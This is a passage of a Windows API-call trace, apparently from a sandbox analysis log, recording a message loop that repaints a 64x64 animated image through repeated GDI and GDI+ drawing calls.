(graphics=0x1de4fd10, state=0xfffffffffcce0dbd) returned 0x0 [0139.034] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.034] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0139.034] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.034] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.034] GetSystemMetrics (nIndex=42) returned 0 [0139.034] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0139.034] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0139.034] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0139.034] CoTaskMemFree (pv=0x1e7ac120) [0139.035] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0139.035] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0139.035] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0139.035] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0139.035] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2a0106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0139.035] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.035] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2a0106ea) returned 0x0 [0139.035] SelectObject (hdc=0x2a0106ea, h=0x185000f) returned 0x1a05067e [0139.035] DeleteDC (hdc=0x2a0106ea) returned 1 [0139.035] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.035] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0139.035] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0139.036] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0139.036] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.036] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.036] WaitMessage () returned 1 [0139.218] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.218] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.218] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.218] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.218] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.219] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0139.219] GetCurrentThreadId () returned 0xec0 [0139.219] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0139.219] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.219] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.219] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.219] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.219] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.219] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0139.219] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0139.219] CreateCompatibleDC (hdc=0x3010b83) returned 0x2b0106ea [0139.219] SelectObject (hdc=0x2b0106ea, h=0x1a05067e) returned 0x185000f [0139.220] GdipCreateFromHDC (hdc=0x2b0106ea, graphics=0x15daf0) returned 0x0 [0139.220] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0139.220] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0139.220] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0139.220] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0139.220] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0139.220] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.220] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0139.221] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.221] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.221] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0139.221] GdipCreateRegion (region=0x15dc20) returned 0x0 [0139.221] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0139.221] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0139.221] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0139.221] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.221] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.221] GetSystemMetrics (nIndex=42) returned 0 [0139.221] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0139.221] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0139.221] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0139.221] CoTaskMemFree (pv=0x1e7ac120) [0139.221] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0139.222] GdipCreateRegion (region=0x15d710) returned 0x0 [0139.222] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0139.222] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0139.222] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0139.222] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0139.222] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.222] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0139.222] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.222] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0139.222] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.223] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0139.223] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.223] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.223] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0139.223] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0139.223] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0139.223] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0139.223] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.223] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0139.223] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0139.223] GetCurrentObject (hdc=0x2b0106ea, type=0x1) returned 0x1b00017 [0139.224] GetCurrentObject (hdc=0x2b0106ea, type=0x2) returned 0x1900010 [0139.224] GetCurrentObject (hdc=0x2b0106ea, type=0x7) returned 0x1a05067e [0139.224] GetCurrentObject (hdc=0x2b0106ea, type=0x6) returned 0x18a002e [0139.224] SaveDC (hdc=0x2b0106ea) returned 1 [0139.224] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff85040b8a [0139.224] GetClipRgn (hdc=0x2b0106ea, hrgn=0xffffffff85040b8a) returned 0 [0139.224] SelectClipRgn (hdc=0x2b0106ea, hrgn=0xffffffffb50407c3) returned 2 [0139.224] DeleteObject (ho=0xffffffff85040b8a) returned 1 [0139.224] DeleteObject (ho=0xffffffffb50407c3) returned 1 [0139.224] OffsetViewportOrgEx (in: hdc=0x2b0106ea, x=0, y=0, lppt=0x280ddb0 | out: lppt=0x280ddb0) returned 1 [0139.224] GetNearestColor (hdc=0x2b0106ea, color=0xffffff) returned 0xffffff [0139.224] CreateSolidBrush (color=0xffffff) returned 0xffffffff8d100190 [0139.224] FillRect (hDC=0x2b0106ea, lprc=0x15d7c0, hbr=0xffffffff8d100190) returned 1 [0139.225] DeleteObject (ho=0xffffffff8d100190) returned 1 [0139.225] RestoreDC (hdc=0x2b0106ea, nSavedDC=-1) returned 1 [0139.225] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.225] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2b0106ea) returned 0x0 [0139.225] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffccc0dbd) returned 0x0 [0139.225] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.225] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0139.225] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.225] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.225] GetSystemMetrics (nIndex=42) returned 0 [0139.225] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0139.225] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0139.225] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0139.225] CoTaskMemFree (pv=0x1e7ac120) [0139.225] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1a) returned 0x0 [0139.228] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0139.228] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0139.228] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0139.228] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0139.228] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2b0106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0139.228] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.228] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2b0106ea) returned 0x0 [0139.228] SelectObject (hdc=0x2b0106ea, h=0x185000f) returned 0x1a05067e [0139.229] DeleteDC (hdc=0x2b0106ea) returned 1 [0139.229] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.229] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0139.229] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0139.229] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0139.229] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.229] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.229] WaitMessage () returned 1 [0139.376] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.376] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.376] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.376] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.376] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.376] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0139.376] GetCurrentThreadId () returned 0xec0 [0139.376] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0139.376] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.376] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.376] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.376] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.376] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.377] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0139.377] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0139.377] CreateCompatibleDC (hdc=0x3010b83) returned 0x2c0106ea [0139.377] SelectObject (hdc=0x2c0106ea, h=0x1a05067e) returned 0x185000f [0139.377] GdipCreateFromHDC (hdc=0x2c0106ea, graphics=0x15daf0) returned 0x0 [0139.378] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0139.378] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0139.378] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0139.378] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0139.378] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0139.378] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.378] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0139.379] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.379] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.379] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0139.379] GdipCreateRegion (region=0x15dc20) returned 0x0 [0139.379] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0139.379] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0139.379] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0139.379] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.379] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.379] GetSystemMetrics (nIndex=42) returned 0 [0139.379] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0139.379] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0139.379] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0139.380] CoTaskMemFree (pv=0x1e7ac120) [0139.380] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0139.380] GdipCreateRegion (region=0x15d710) returned 0x0 [0139.380] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0139.380] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0139.380] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0139.380] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0139.380] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.380] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0139.381] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.381] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0139.381] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.381] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0139.381] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.381] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.381] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0139.381] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0139.382] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0139.382] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0139.382] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.382] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0139.382] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0139.382] GetCurrentObject (hdc=0x2c0106ea, type=0x1) returned 0x1b00017 [0139.382] GetCurrentObject (hdc=0x2c0106ea, type=0x2) returned 0x1900010 [0139.382] GetCurrentObject (hdc=0x2c0106ea, type=0x7) returned 0x1a05067e [0139.382] GetCurrentObject (hdc=0x2c0106ea, type=0x6) returned 0x18a002e [0139.382] SaveDC (hdc=0x2c0106ea) returned 1 [0139.382] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffb60407c3 [0139.382] GetClipRgn (hdc=0x2c0106ea, hrgn=0xffffffffb60407c3) returned 0 [0139.382] SelectClipRgn (hdc=0x2c0106ea, hrgn=0xffffffff86040b8a) returned 2 [0139.383] DeleteObject (ho=0xffffffffb60407c3) returned 1 [0139.383] DeleteObject (ho=0xffffffff86040b8a) returned 1 [0139.383] OffsetViewportOrgEx (in: hdc=0x2c0106ea, x=0, y=0, lppt=0x280f0b0 | out: lppt=0x280f0b0) returned 1 [0139.383] GetNearestColor (hdc=0x2c0106ea, color=0xffffff) returned 0xffffff [0139.383] CreateSolidBrush (color=0xffffff) returned 0xffffffff8e100190 [0139.383] FillRect (hDC=0x2c0106ea, lprc=0x15d7c0, hbr=0xffffffff8e100190) returned 1 [0139.383] DeleteObject (ho=0xffffffff8e100190) returned 1 [0139.383] RestoreDC (hdc=0x2c0106ea, nSavedDC=-1) returned 1 [0139.383] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.383] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2c0106ea) returned 0x0 [0139.383] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcca0dbd) returned 0x0 [0139.383] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.384] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0139.384] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.384] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.384] GetSystemMetrics (nIndex=42) returned 0 [0139.384] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0139.384] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0139.384] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0139.384] CoTaskMemFree (pv=0x1e7ac120) [0139.384] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0139.384] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0139.384] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0139.385] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0139.385] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2c0106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0139.385] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.385] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2c0106ea) returned 0x0 [0139.385] SelectObject (hdc=0x2c0106ea, h=0x185000f) returned 0x1a05067e [0139.385] DeleteDC (hdc=0x2c0106ea) returned 1 [0139.385] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.385] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0139.385] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0139.385] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0139.386] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.386] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.386] WaitMessage () returned 1 [0139.520] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.521] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.521] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.521] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.521] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.521] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0139.521] GetCurrentThreadId () returned 0xec0 [0139.521] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0139.521] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.521] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.521] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.521] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.521] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.521] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0139.521] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0139.522] CreateCompatibleDC (hdc=0x3010b83) returned 0x2d0106ea [0139.522] SelectObject (hdc=0x2d0106ea, h=0x1a05067e) returned 0x185000f [0139.522] GdipCreateFromHDC (hdc=0x2d0106ea, graphics=0x15daf0) returned 0x0 [0139.522] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0139.522] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0139.522] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0139.522] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0139.522] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0139.522] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.522] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0139.523] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.523] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.523] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0139.523] GdipCreateRegion (region=0x15dc20) returned 0x0 [0139.523] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0139.523] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0139.523] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0139.523] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.523] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.524] GetSystemMetrics (nIndex=42) returned 0 [0139.524] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0139.524] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0139.524] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0139.524] CoTaskMemFree (pv=0x1e7ac120) [0139.524] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0139.524] GdipCreateRegion (region=0x15d710) returned 0x0 [0139.524] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0139.524] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0139.524] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0139.524] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0139.524] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.524] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0139.525] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.525] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0139.525] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.525] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0139.525] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.525] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.526] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0139.526] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0139.526] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0139.526] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0139.526] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.526] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0139.526] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0139.526] GetCurrentObject (hdc=0x2d0106ea, type=0x1) returned 0x1b00017 [0139.526] GetCurrentObject (hdc=0x2d0106ea, type=0x2) returned 0x1900010 [0139.526] GetCurrentObject (hdc=0x2d0106ea, type=0x7) returned 0x1a05067e [0139.526] GetCurrentObject (hdc=0x2d0106ea, type=0x6) returned 0x18a002e [0139.526] SaveDC (hdc=0x2d0106ea) returned 1 [0139.526] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff87040b8a [0139.526] GetClipRgn (hdc=0x2d0106ea, hrgn=0xffffffff87040b8a) returned 0 [0139.527] SelectClipRgn (hdc=0x2d0106ea, hrgn=0xffffffffb70407c3) returned 2 [0139.527] DeleteObject (ho=0xffffffff87040b8a) returned 1 [0139.527] DeleteObject (ho=0xffffffffb70407c3) returned 1 [0139.527] OffsetViewportOrgEx (in: hdc=0x2d0106ea, x=0, y=0, lppt=0x280f9e8 | out: lppt=0x280f9e8) returned 1 [0139.527] GetNearestColor (hdc=0x2d0106ea, color=0xffffff) returned 0xffffff [0139.527] CreateSolidBrush (color=0xffffff) returned 0xffffffff8f100190 [0139.527] FillRect (hDC=0x2d0106ea, 